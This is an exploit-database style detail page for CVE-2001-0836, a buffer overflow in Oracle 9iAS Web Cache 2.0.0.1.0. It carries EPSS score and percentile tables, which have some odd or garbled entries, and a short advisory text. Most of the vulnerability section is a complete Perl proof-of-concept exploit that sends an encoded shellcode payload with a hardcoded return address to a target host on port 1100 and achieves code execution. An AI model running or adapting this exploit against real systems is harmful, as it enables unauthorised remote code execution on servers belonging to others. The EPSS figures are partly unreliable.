CVE-2001-0836 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	15.61%	–	–
2022-04-03	–	–	15.61%	–	–
2023-03-12	–	–	–	1.84%	–
2023-06-04	–	–	–	1.84%	–
2024-02-11	–	–	–	1.84%	–
2024-06-02	–	–	–	1.84%	–
2024-08-25	–	–	–	1.84%	–
2024-12-22	–	–	–	2.51%	–
2025-01-19	–	–	–	2.51%	–
2025-03-18	–	–	–	–	21.19%
2025-03-18	–	–	–	–	21.19,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	93%
2022-04-03	96%
2023-03-12	86%
2023-06-04	87%
2024-02-11	88%
2024-06-02	88%
2024-08-25	89%
2024-12-22	9%
2025-01-19	9%
2025-03-18	95%
2025-03-18	95%

source: https://www.securityfocus.com/bid/3443/info A buffer overflow condition can be triggered in Oracle 9iAS Web Cache 2.0.0.1.0 by submitting a malicious URL. This overflow can lead to either the process exiting, the process hanging, or the injection of malicious code. This occurs on all four services provided by Web Cache. While this vulnerability has been addressed in Oracle 91AS Web Cache 2.0.0.2.0, it has been reported that versions for Microsoft Windows NT are still vulnerable. #!perl ######################################################################### # # Proof-of-concept exploit for Oracle9iAS Web Cache/2.0.0.1.0 # Creates the file c:\defcom.iyd # By andreas@defcom.com (C)2001 # # # Since we do not control the space after what ESP points to, I was lazy # and did a direct buffer jump. So, if it does not work, try changing # the return address(start of buffer in mem) to one that fits your system. # The buffer starts at 0x05c5f1e8 on my box(WIN2K prof SP2). # /andreas # ######################################################################### $ARGC=@ARGV; if ($ARGC !=1) { print "Usage: $0 <host>\n"; print "Example: $0 127.0.0.1\n"; exit; } use Socket; my($remote,$port,$iaddr,$paddr,$proto); $remote=$ARGV[0]; $port = "1100"; # default port for the web cache $iaddr = inet_aton($remote) or die "Error: $!"; $paddr = sockaddr_in($port, $iaddr) or die "Error: $!"; $proto = getprotobyname('tcp') or die "Error: $!"; socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!"; connect(SOCK, $paddr) or die "Error: $!"; $sploit = "\xeb\x03\x5a\xeb\x05\xe8\xf8\xff\xff\xff\x8b\xec\x8b\xc2\x83\xc0\x18\x33\xc9"; $sploit=$sploit . "\x66\xb9\xb3\x80\x66\x81\xf1\x80\x80\x80\x30\x99\x40\xe2\xfa\xaa\x59"; $sploit=$sploit . "\xf1\x19\x99\x99\x99\xf3\x9b\xc9\xc9\xf1\x99\x99\x99\x89\x1a\x5b\xa4"; $sploit=$sploit . "\xcb\x27\x51\x99\xd5\x99\x66\x8f\xaa\x59\xc9\x27\x09\x98\xd5\x99\x66"; $sploit=$sploit . "\x8f\xfa\xa3\xc5\xfd\xfc\xff\xfa\xf6\xf4\xb7\xf0\xe0\xfd\x99"; $msg = "GET " . $sploit . "\x90" x (3096 - length($sploit)) . "\xe8\xf1\xc5\x05" . " HTTP/1.0\n\n"; print $msg; send(SOCK, $msg, 0) or die "Cannot send query: $!"; sleep(1); close(SOCK); exit;